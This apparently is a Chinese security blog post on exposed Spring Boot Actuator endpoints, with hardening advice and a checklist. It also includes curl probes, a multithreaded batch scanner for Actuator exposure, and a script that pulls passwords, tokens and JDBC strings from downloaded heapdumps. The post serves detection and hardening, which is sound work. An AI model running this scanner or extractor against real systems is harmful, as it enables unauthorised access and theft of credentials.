Spring Boot Actuator未授权访问:一个注解引发的血案

Spring Boot Actuator未授权访问:一个注解引发的血案

上个月应急响应接到一个case:某企业的Spring Boot应用被入侵了,攻击者通过Actuator端点获取了数据库配置、环境变量中的密钥,最终导致数据泄露。

排查下来原因很简单——开发者图方便,把Actuator全开了,又没做访问控制。

0x01 什么是Actuator?

Spring Boot Actuator是Spring Boot的监控模块,提供了一系列HTTP端点来监控和管理应用:

# application.yml - 危险配置示例
management:
  endpoints:
    web:
      exposure:
        include: "*"    # 暴露所有端点,极其危险

常用的危险端点:

端点用途风险等级 /actuator/env环境变量高危(泄露密钥) /actuator/configprops配置属性高危(泄露数据库密码) /actuator/heapdump堆转储极高危(含敏感数据) /actuator/mappingsURL映射中危(暴露API结构) /actuator/jolokiaJMX over HTTP极高危(RCE) /actuator/traceHTTP请求记录高危(含Authorization头)

0x02 漏洞检测

手动检测很简单:

# 检测Actuator端点是否开放
curl -s http://target:8080/actuator | python3 -m json.tool

# 检测环境变量(可能泄露数据库密码、API Key)
curl -s http://target:8080/actuator/env | grep -i "password\|secret\|key\|token"

# 检测堆转储(最大风险,文件可能几百MB)
curl -s -o heapdump.hprof http://target:8080/actuator/heapdump

# 检测Jolokia(可能实现RCE)
curl -s http://target:8080/actuator/jolokia

批量扫描脚本:

import requests
import sys
import json
from concurrent.futures import ThreadPoolExecutor

DANGEROUS_ENDPOINTS = [
    "/actuator",
    "/actuator/env",
    "/actuator/configprops", 
    "/actuator/heapdump",
    "/actuator/mappings",
    "/actuator/jolokia",
    "/actuator/trace",
]

def check_actuator(target):
    """检测目标Actuator暴露情况"""
    results = []
    base_url = f"http://{target}:8080"
    
    for endpoint in DANGEROUS_ENDPOINTS:
        try:
            resp = requests.get(
                f"{base_url}{endpoint}", 
                timeout=5,
                allow_redirects=False
            )
            if resp.status_code == 200:
                # heapdump返回的是二进制,特殊处理
                if "heapdump" in endpoint:
                    results.append(f"[!] {endpoint} - 存在({len(resp.content)} bytes)")
                else:
                    # 尝试解析JSON
                    try:
                        data = resp.json()
                        results.append(f"[!] {endpoint} - 存在")
                    except json.JSONDecodeError:
                        results.append(f"[+] {endpoint} - 可能存在(非JSON响应)")
            elif resp.status_code == 401:
                results.append(f"[-] {endpoint} - 需要认证(已配置安全策略)")
            elif resp.status_code == 404:
                pass  # 端点未暴露,正常
        except requests.exceptions.RequestException as e:
            pass  # 连接失败,跳过
    
    if results:
        print(f"\n[!] {target} 发现暴露的Actuator端点:")
        for r in results:
            print(f"    {r}")
    else:
        print(f"[*] {target} - Actuator端点未暴露或不可达")

def scan_targets(target_file, port=8080):
    """批量扫描"""
    with open(target_file, 'r') as f:
        targets = [line.strip() for line in f if line.strip()]
    
    print(f"[*] 开始扫描 {len(targets)} 个目标...")
    with ThreadPoolExecutor(max_workers=20) as executor:
        executor.map(check_actuator, targets)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target | target_file>")
        print(f"示例: python3 {sys.argv[0]} 192.168.1.100")
        print(f"批量: python3 {sys.argv[0]} targets.txt")
        sys.exit(1)
    
    target = sys.argv[1]
    
    # 判断是单个目标还是文件
    try:
        with open(target, 'r') as f:
            scan_targets(target)
    except FileNotFoundError:
        check_actuator(target)

0x03 heapdump敏感信息提取

heapdump是最危险的端点,它导出JVM堆内存,里面可能包含数据库密码、API密钥、用户数据等敏感信息。

用Eclipse MAT或jhat分析:

# 用jhat分析heapdump(JDK自带)
jhat -J-Xmx512m heapdump.hprof
# 访问 http://localhost:7000 查看

# 用strings快速提取敏感信息
strings heapdump.hprof | grep -iE "(password|secret|key|token|jdbc)" | sort -u

Python脚本提取敏感信息:

import re
import sys

def extract_sensitive(filepath):
    """从heapdump中提取敏感信息"""
    patterns = {
        'password': r'(?i)(password|passwd|pwd)\s*[=:]\s*["\']?([^\s"\'}{]+)',
        'secret': r'(?i)(secret|apikey|api_key)\s*[=:]\s*["\']?([^\s"\'}{]+)',
        'jdbc': r'jdbc:[a-z]+://[^\s"\'}{]+',
        'token': r'(?i)(token|access_token|refresh_token)\s*[=:]\s*["\']?([^\s"\'}{]+)',
    }
    
    with open(filepath, 'rb') as f:
        content = f.read().decode('utf-8', errors='ignore')
    
    print(f"[*] 正在分析 {filepath}({len(content)} bytes)...\n")
    
    for name, pattern in patterns.items():
        matches = re.findall(pattern, content)
        if matches:
            print(f"[!] 发现 {name.upper()} ({len(matches)} 个):")
            for m in set(matches):
                if isinstance(m, tuple):
                    print(f"    {m[0]}={m[1]}")
                else:
                    print(f"    {m}")
            print()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <heapdump.hprof>")
        sys.exit(1)
    extract_sensitive(sys.argv[1])

0x04 加固方案

方案一:关闭不必要的端点

# application.yml
management:
  endpoints:
    web:
      exposure:
        include: health,info,metrics  # 只暴露安全的端点
    endpoint:
      health:
        show-details: when_authorized  # 详细健康信息需要认证

方案二:添加Spring Security认证

@Configuration
public class ActuatorSecurityConfig extends WebSecurityConfigurerAdapter {
    
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .requestMatcher(EndpointRequest.toAnyEndpoint())
            .authorizeRequests()
            .anyRequest().hasRole("ACTUATOR_ADMIN")
            .and()
            .httpBasic();
    }
}

方案三:修改端点路径+IP白名单

# 修改默认路径(增加攻击难度,但不是真正的安全措施)
management:
  endpoints:
    web:
      base-path: /manage-internal
  server:
    port: 9090  # 使用独立端口,方便做网络隔离

Nginx层做IP限制:

# 只允许内网访问Actuator
location /actuator {
    allow 10.0.0.0/8;
    allow 172.16.0.0/12;
    deny all;
    proxy_pass http://backend;
}

0x05 检查清单

给运维同学一个快速自查清单:

  • [ ] 生产环境是否暴露了/actuator端点?
  • [ ] management.endpoints.web.exposure.include 是否配置了"*"?
  • [ ] heapdump端点是否可访问?
  • [ ] /actuator/env中是否包含明文密码?
  • [ ] Actuator端点是否有访问认证?
  • [ ] 是否使用了独立的管理端口?
  • [ ] 是否配置了IP白名单?

0x06 经验总结

  • 默认配置不等于安全配置。Spring Boot的默认设置偏开发便利,生产环境必须加固
  • 监控和安全要平衡。Actuator很有用,但要控制暴露范围
  • 敏感信息不要硬编码。用Vault、KMS等密钥管理服务,而不是写在配置文件里
  • 网络隔离很重要。管理端口应该只在内网可达,不要暴露到公网

安全加固不需要多高深的技术,把基础的做好,已经能防住90%的攻击。


觉得有用点个赞,有问题评论区交流。关注"安全值班室",持续分享安全运维实战经验。

标签: Spring Boot, Actuator, 安全加固, 运维安全

分类: 安全运维


关注「安全值班室」公众号

每天AI安全早报 + 实战攻防案例 + 网安学习路线连载

关注安全值班室

posted on 2026-06-02 15:23  明.Sir  阅读(111)  评论(0)    收藏  举报

导航